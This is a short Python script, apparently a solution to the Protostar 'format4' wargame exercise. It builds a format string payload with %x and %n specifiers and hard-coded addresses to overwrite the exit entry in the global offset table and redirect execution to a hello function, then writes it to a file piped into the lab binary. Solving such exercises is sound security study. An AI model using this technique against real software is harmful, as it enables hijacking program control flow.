protostar_format4_file_input.py

import subprocess

# hello function 080484b4
# vuln function 080484d2
# printf address 0804971c
# exit address 08049724

orig_leak_ptr = '%x %x %x %x %x %x'
leak_ptr =      '%x %x %x %0*x %n'
write_to_address = '\x24\x97\x04\x08' # where should we write
value_to_write = '\x91\x84\x04\x08' # what should we write
padding = '\x55\x55\x55\x55'
input = value_to_write + padding + write_to_address + leak_ptr

with open('/tmp/format4','wb') as f:
    f.write(input)


# /opt/protostar/bin/format4 < /tmp/format4